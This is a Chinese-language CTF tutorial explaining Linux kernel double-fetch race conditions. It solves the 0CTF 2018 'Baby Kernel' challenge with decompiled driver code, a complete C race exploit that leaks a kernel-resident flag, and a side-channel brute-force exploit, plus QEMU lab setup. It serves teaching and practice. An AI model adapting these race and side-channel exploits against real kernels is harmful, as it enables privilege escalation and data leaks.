Double Fetch¶
概述¶
Double Fetch
直译就是 取值两次
,直接理解就是在一次操作当中要两次(或是多次)重新获取某个对象的值,从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争,其可能出现在下面这种情况当中:
- 有一大段数据要从用户空间传给内核空间,但是直接传送整块数据会造成较大的开销,故选择只向内核传送一个指向用户地址空间的指针。
- 在后续的操作当中内核需要多次通过该指针获取到用户空间的数据。
在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user
等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
一个典型的 Double Fetch
漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
2018 0CTF Finals Baby Kernel¶
题目分析¶
首先用 IDA 对驱动文件进行分析,可见 flag 是硬编码在驱动文件中的。
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480 ; baby_ioctl+DB↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488 align 20h
驱动主要注册了一个 baby_ioctl
函数,其中包含两个功能。当 ioctl 中 cmd 参数为 0x6666 时,驱动将输出flag 的加载地址。当 ioctl 中 cmd 参数为 0x1337 时,首先进行三个校验,接着对用户输入的内容与硬编码的 flag 进行逐字节比较,当一致时通过 printk
将 flag 输出出来。
signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)
{
attr *v2; // rdx
signed __int64 result; // rax
int i; // [rsp-5Ch] [rbp-5Ch]
attr *v5; // [rsp-58h] [rbp-58h]
_fentry__(a1, a2);
v5 = v2;
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& !_chk_range_not_ok(
v5->flag_str,
SLODWORD(v5->flag_len),
*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& LODWORD(v5->flag_len) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(v5->flag_str + i) != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
else
{
result = 0xELL;
}
return result;
}
而分析其检查函数,其中 _chk_range_not_ok
为检查指针及长度范围是否指向用户空间。通过对驱动文件功能的分析,可以得到用户输入的数据结构体如下:
struct flag
{
char * flag_addr;
int flag_len;
};
其中 flag_len
参数与 flag 的长度对比,在 .ko 文件中 flag 的长度为 33。
_chk_range_not_ok
检查的内容为:
- 输入的数据指针是否为用户态数据。
- 数据指针内flag_str是否指向用户态。
- 据指针内flag_len是否等于硬编码flag的长度。
解题思路¶
虽然 flag 存储的地址已知,但是位于内核地址空间当中,我们将之直接传给模块并不能通过验证,那么这里就考虑 double fetch——先传入一个用户地址空间上的合法地址,开另一个线程进行竞争不断修改其为内核空间 flag 的地址,只要有一次命中我们便能获得 flag。
首先我们需要利用提供的 cmd=0x6666
功能获取内核中 flag 的加载地址,在驱动中以 printk
输出的内容可以通过 dmesg
命令查看,在我们的 exp 中我们可以将 dmesg
的内容输出到文件中,再打开该文件进行读取。
接下来我们便能构造符合 cmd=0x1337
功能的数据结构,其中 flag_len
可以从硬编码中直接获取为 33, flag_str
指向一个用户空间地址。
最后我们创建一个恶意线程,不断的将 flag_str
所指向的用户态地址修改为 flag 的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出 flag 内容。
Exploit¶
最终的 exp 如下:
/**
* Copyright (c) 2021 arttnba3 <arttnba@gmail.com>
*
* This work is licensed under the terms of the GNU GPL, version 2 or later.
**/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/ioctl.h>
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))
pthread_t race_thread;
void *flag_kaddr;
char fake_flag[0x100] = "flag{arttnba3_t3s7_f1@9!}";
int race_times = 0x1000;
int flag_not_found = 1;
struct chal_arg {
char * flag_addr;
int flag_len;
} flag = {
.flag_addr = fake_flag,
.flag_len = 33
};
void chal_print_flag(int fd)
{
ioctl(fd, 0x6666);
}
void chal_verify_flag(int fd, struct chal_arg *arg)
{
ioctl(fd, 0x1337, arg);
}
void* race_thread_fn(void *args)
{
while (flag_not_found) {
for (int i = 0; i < race_times; i++) {
flag.flag_addr = flag_kaddr;
}
}
return NULL;
}
void exploit(void)
{
int fd, result_fd, addr_fd, flag_fd;
char *tmp_buf, *flag_addr_addr, *flag_addr;
fd = open("/dev/baby", O_RDWR);
if (fd < 0) {
perror(ERROR_MSG("[x] Unable to open challenge dev file"));
exit(EXIT_FAILURE);
}
chal_print_flag(fd);
system("dmesg | grep flag > /tmp/addr.txt");
tmp_buf = (char*) malloc(0x1000);
addr_fd = open("/tmp/addr.txt", O_RDONLY);
if (addr_fd < 0) {
perror(ERROR_MSG("[x] Unable to open flag addr file"));
exit(EXIT_FAILURE);
}
tmp_buf[read(addr_fd, tmp_buf, 0x1000)] = '\0';
flag_addr_addr = strstr(tmp_buf, "Your flag is at ")
+ strlen("Your flag is at ");
flag_kaddr = (void*) strtoull(flag_addr_addr, (void*) (flag_addr_addr + 16), 16);
printf(SUCCESS_MSG("[+] flag addr: ") "%p\n", flag_kaddr);
pthread_create(&race_thread, NULL, race_thread_fn, NULL);
while (flag_not_found) {
for(int i = 0; i < race_times; i++) {
flag.flag_addr = fake_flag;
chal_verify_flag(fd, &flag);
}
system("dmesg | grep flag > /tmp/result.txt");
result_fd = open("/tmp/result.txt", O_RDONLY);
read(result_fd, tmp_buf, 0x1000);
if (strstr(tmp_buf, "flag{")) {
flag_not_found = 0;
}
}
pthread_cancel(race_thread);
log_success("[+] race done and flag got!");
system("dmesg | grep -i flag > /tmp/flag.txt");
flag_fd = open("/tmp/flag.txt", O_RDONLY);
if (flag_fd < 0) {
perror(ERROR_MSG("[x] Unable to open flag file"));
exit(EXIT_FAILURE);
}
tmp_buf[read(flag_fd, tmp_buf, 0x1000)] = '\0';
flag_addr = strstr(tmp_buf, "So here is it ")+strlen("So here is it ");
printf(SUCCESS_MSG("[+] Got flag: "));
fflush(stdout);
for (int i = 0; flag_addr[i] && flag_addr[i] != '\n'; i++) {
putchar(flag_addr[i]);
}
puts("");
}
int main(int argc, char **argv, char **envp)
{
exploit();
return 0;
}
Extra. 侧信道攻击¶
题目在进行比对时并没有检验 flag 地址的合法性,考虑如下内存布局:
/*
| | <---- unallocated page
| |
| |
|------------------------------|
| |
| |
| |
| | <---- page alloc by mmap
| |
| |
| flag{...X|
|------------------------------|
| |
| |
| | <---- unallocated page
*/
我们将 flag 放在通过 mmap 分配而来的内存页的末尾,其最后一个字符 X
是我们将要爆破的未知字符。
对于待比对字符 X
而言,若是比对失败则 ioctl 会直接返回,若是比对成功则指针移动到下一张内存页中进行解引用,此时将会直接造成 kernel panic。
由于 flag 被硬编码在 .ko
文件中,故通过是否造成 kernel panic 可以逐字符爆破 flag 内容。
ASCII 可见字符 95 个,flag 长度 33,开头 flag{
末尾 }
减去6个字符,最多只需要爆破 26 * 95 = 2470 次便能够获得 flag。
比较需要耐心(因为打远程传文件很麻烦),这里附上一个比较方便的 exp,不用每次打都重新编译一次,只需要将 flag 作为参数传进去就行了:
/**
* Copyright (c) 2021 arttnba3 <arttnba@gmail.com>
*
* This work is licensed under the terms of the GNU GPL, version 2 or later.
**/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include<sys/mman.h>
#include<sys/types.h>
#include <sys/ioctl.h>
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
struct chal_arg {
char *flag_addr;
int flag_len;
} flag = { .flag_len = 33};
void chal_print_flag(int fd)
{
ioctl(fd, 0x6666);
}
void chal_verify_flag(int fd, struct chal_arg *arg)
{
ioctl(fd, 0x1337, arg);
}
int main(int argc, char ** argv, char ** envp)
{
int fd, flag_len;
char * buf, *flag_addr;
if (argc < 2) {
puts("usage: ./exp flag");
exit(-1);
}
flag_len = strlen(argv[1]);
fd = open("/dev/baby", O_RDWR);
if (fd < 0) {
perror(ERROR_MSG("[x] Unable to open challenge dev file"));
exit(EXIT_FAILURE);
}
buf = mmap(
NULL,
0x1000,
PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED,
-1,
0
);
flag_addr = buf + 0x1000 - flag_len;
memcpy(flag_addr, argv[1], flag_len);
flag.flag_addr = flag_addr;
chal_verify_flag(fd, &flag);
return 0;
}
其他¶
此题在环境配置时,有几点需要注意。
首先, 需关闭 dmesg_restrict
,否则无法查看 printk
信息,具体操作是在启动脚本中加入:
echo 0 > /proc/sys/kernel/dmesg_restrict
其次,配置 QEMU 启动参数时, 不要开启 SMAP
保护,否则在内核中直接访问用户态数据会引起 kerne panic
。
还有,配置 QEMU 启动参数时,需要配置为非单核单线程启动,否则无法触发题目中的竞争条件。具体操作是在启动参数中增加其内核数选项,如:
-smp 2,cores=2,threads=1 \
在启动后,可通过
/proc/cpuinfo
查看当前运行的内核数及超线程数。
Reference¶
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/
https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/wang-pengfei
https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/